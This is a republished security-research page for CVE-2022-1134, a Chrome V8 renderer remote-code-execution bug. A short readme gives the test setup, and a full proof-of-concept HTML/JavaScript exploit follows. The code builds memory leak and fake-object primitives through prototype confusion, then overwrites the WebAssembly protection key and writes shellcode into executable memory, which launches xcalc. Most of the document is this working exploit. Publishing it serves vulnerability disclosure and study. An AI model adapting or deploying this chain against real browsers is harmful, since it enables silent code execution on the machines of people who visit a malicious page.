Chrome renderer RCE CVE-2022-1134

#Chrome renderer RCE CVE-2022-1134

The write up can be found here. This is a bug in the v8 that I reported in March 2022. This bug allows RCE in the Chrome renderer sandbox by simply visiting a malicious website.

The exploit is tested with the Linux official build of Chrome version 99.0.4844.84 with the following revision (this can be checked from chrome://version):

Chromium	99.0.4844.84 (Official Build) (64-bit) 
Revision	81a11fc2ee8a41e17451f29195387f276d3bb379-refs/branch-heads/4844_74@{#6}

For reference, the tested binary is compiled with the following flags, following the instructions to compile Chrome here:

is_debug = false
symbol_level = 2
blink_symbol_level = 2
dcheck_always_on = false
is_official_build = true
chrome_pgo_phase = 0

To test, host the file superic_rce.html and then open it in Chrome with the --no-sandbox flag:

./chrome --user-data-dir=/tmp/chromium_data --no-sandbox

If successful, it'll pop xcalc instantly (on Ubuntu). The exploit should be very reliable and I've not experience any failure with it.

<html>
<script>

var code = new Uint8Array([0, 97, 115, 109, 1, 0, 0, 0, 1, 133, 128, 128, 128, 0, 1, 96, 0, 1, 127, 3, 130, 128, 128, 128, 0, 1, 0, 4, 132, 128, 128, 128, 0, 1, 112, 0, 0, 5, 131, 128, 128, 128, 0, 1, 0, 1, 6, 129, 128, 128, 128, 0, 0, 7, 145, 128, 128, 128, 0, 2, 6, 109, 101, 109, 111, 114, 121, 2, 0, 4, 109, 97, 105, 110, 0, 0, 10, 138, 128, 128, 128, 0, 1, 132, 128, 128, 128, 0, 0, 65, 42, 11]);
var shellCode = [0x31, 0xf6, 0x31, 0xd2, 0x31, 0xc0, 0xbb, 0x6c, 0x63, 0x00, 0x00, 0x53, 0x48, 0xbb, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x78, 0x63, 0x61, 0x53, 0x54, 0x5f, 0x56, 0x57, 0x54, 0x5e, 0xbb, 0x3a, 0x30, 0x2e, 0x30, 0x53, 0x48, 0xbb, 0x44, 0x49, 0x53, 0x50, 0x4c, 0x41, 0x59, 0x3d, 0x53, 0x54, 0x41, 0x5a, 0x52, 0x41, 0x52, 0x54, 0x5a, 0xb8, 0x3b, 0x00, 0x00, 0x00, 0xf, 0x5];

var wasmMemoryProtectionKeysOffset = 0x34a086n;

var loopCount = 0x10;
var view = new ArrayBuffer(24);
var dblArr = new Float64Array(view);
var intView = new Int32Array(view);
var bigIntView = new BigInt64Array(view);
var flArr = new Float32Array(view);

var decoderBufferOffset = 0x8;

function f32toi(f) {
flArr[0] = f;
return intView[0];
}

function ftoi32(f) {
dblArr[0] = f;
return [intView[0], intView[1]];
}

function i32tof(i1, i2) {
intView[0] = i1;
intView[1] = i2;
return dblArr[0];
}

function itof(i) {
bigIntView[0] = i;
return dblArr[0];
}

function ftoi(f) {
dblArr[0] = f;
return bigIntView[0];
}

function i32toi(i_lo, i_hi) {
intView[0] = i_lo;
intView[1] = i_hi;
return bigIntView[0];
}

class SubAudioData extends AudioData {
constructor(addr) {
let input = audioDataInput;
input.timestamp = addr;
super(input);
}

getFakeObj() {
return super.signal;
}
}

class SubMatrix extends DOMMatrix {
constructor(addr) {
let input = matrixInput;
input[10] = itof(BigInt(addr - 0x18));
super(input);
}

readContent() {
return super.interval;
}
}

var height = 4;
var width = 3;

class SubImg extends ImageData {
constructor(imgData) {
super(imgData, height,width);
}

getAddr() {
return super.m21;
}
}

var audioBufferInput = {length: 30000, sampleRate: 4000};
var audioDataInput = {format: "u8", sampleRate: 4000, numberOfFrames: 100, numberOfChannels: 1, timestamp: 0, data : new Int8Array(100)};
//matrix memory layout: m12 = matrix_[0][1], m21 = matrix_[1][0] ... double arrays
var matrixInput = [11,12,13,14,21,22,23,24,31,32,33,34,41,42,43,44];

var domMatrixImg = new DOMMatrix(matrixInput);

var audioData = new AudioData(audioDataInput);

var req = new Request({});

var motionEvent = new DeviceMotionEvent({});

function leakImageAddr(i) {
domMatrixImg['a' + i] = 1;
if (i < loopCount) {
SubImg.prototype.__proto__ = {};
} else {
SubImg.prototype.__proto__ = domMatrixImg;
}
domMatrixImg.m21;
let addr = img.getAddr();
return Number(ftoi(addr));
}

function readFrom(i, subMatrix) {
motionEvent['a' + i] = 1;
if (i < loopCount) {
SubMatrix.prototype.__proto__ = {};
} else {
SubMatrix.prototype.__proto__ = motionEvent;
}
motionEvent.interval;
let addr = subMatrix.readContent();
return addr;
}

function createFakeObj(i, addr) {
req['a' + i] = 1;
if (i < loopCount) {
SubAudioData.prototype.__proto__ = {};
} else {
SubAudioData.prototype.__proto__ = req;
}
req.signal;
return subAudio.getFakeObj();
}

function addrOf(obj) {
objArr[0] = obj;
return ftoi32(fakeDblArr[5])[0];
}

function compressedRead(addr) {
doubleArr[1] = i32tof(addr - 0x8, 0x1000);
let out = fakeDblArr[0];
doubleArr[1] = doubleArrDefault;
return out;
}

function compressedWrite(addr, value) {
doubleArr[1] = i32tof(addr - 0x8, 0x1000);
fakeDblArr[0] = value;
doubleArr[1] = doubleArrDefault;
}

var imgDataStore = new ArrayBuffer(48);
var imgData = new Uint8ClampedArray(imgDataStore);
var doubleArr = [1.1, 2.2, 3.3, 4.4, 5.5];
var objArr = [imgData];

var img = new SubImg(imgData);

for (let i = 0; i < loopCount; i++) {
leakImageAddr(i);
}

let imgAddr = leakImageAddr(loopCount);

let mainWorldMatrix = new SubMatrix(imgAddr + 0x8);

for (let i = 0; i < loopCount; i++) {
readFrom(i, mainWorldMatrix);
}

let mainWorldWrapper = Number(ftoi(readFrom(loopCount, mainWorldMatrix)));

let wrapperMatrix = new SubMatrix(imgAddr);

let wrapperAddr = ftoi(readFrom(loopCount, wrapperMatrix));

let v8AddrMatrix = new SubMatrix(mainWorldWrapper);

let v8TypedArrayAddr = Number(ftoi(readFrom(loopCount, v8AddrMatrix)));

let doubleArrMatrix = new SubMatrix(v8TypedArrayAddr + 0x74 - 1);
let doubleMap = ftoi32(readFrom(loopCount, doubleArrMatrix))[1];

let fakeWrapper64View = new BigInt64Array(imgDataStore);
fakeWrapper64View[0] = BigInt(v8TypedArrayAddr + 0x50);

var doubleArrElementDefault = (v8TypedArrayAddr + 0x60) >> 0;
var doubleArrDefault = i32tof(doubleArrElementDefault, 0x1000);

//map + properties
doubleArr[0] = i32tof(doubleMap, 0x8002249);
//elements + length
doubleArr[1] = doubleArrDefault;
doubleArr[2] = i32tof(0x8002249, 0x1000);
doubleArr[3] = 1.1;

//Add 0x8 to skip vtable, so that the fake main_world_wrapper_ points to the address of the datastore
var subAudio = new SubAudioData(imgAddr + 0x8);

for (let i = 0; i < loopCount; i++) {
createFakeObj(i);
}
var fakeDblArr = createFakeObj(loopCount);

var shellArray = new Uint8Array(100);
shellArray.fill(0x41);

var wasmProtectionKeyAddr = wrapperAddr + wasmMemoryProtectionKeysOffset;
var shellArrayAddr = addrOf(shellArray);

compressedWrite(shellArrayAddr + 0x2c, itof(wasmProtectionKeyAddr));
for (let i = 0; i < 8; i++) {
shellArray[i] = 0;
}

var module = new WebAssembly.Module(code);
var instance = new WebAssembly.Instance(module);
var wasmMain = instance.exports.main;

var instanceAddr = addrOf(instance);
var wasmRWX = compressedRead(instanceAddr + 0x60);

compressedWrite(shellArrayAddr + 0x2c, wasmRWX);
for (let i = 0; i < shellCode.length; i++) {
shellArray[i] = shellCode[i];
}
wasmMain();
</script>
<body>
</body>
</html>

 

原文始发于NCC Group:Chrome renderer RCE CVE-2022-1134

版权声明:admin 发表于 2022年11月28日 上午10:31。
转载请注明:Chrome renderer RCE CVE-2022-1134 | CTF导航

相关文章

暂无评论

暂无评论...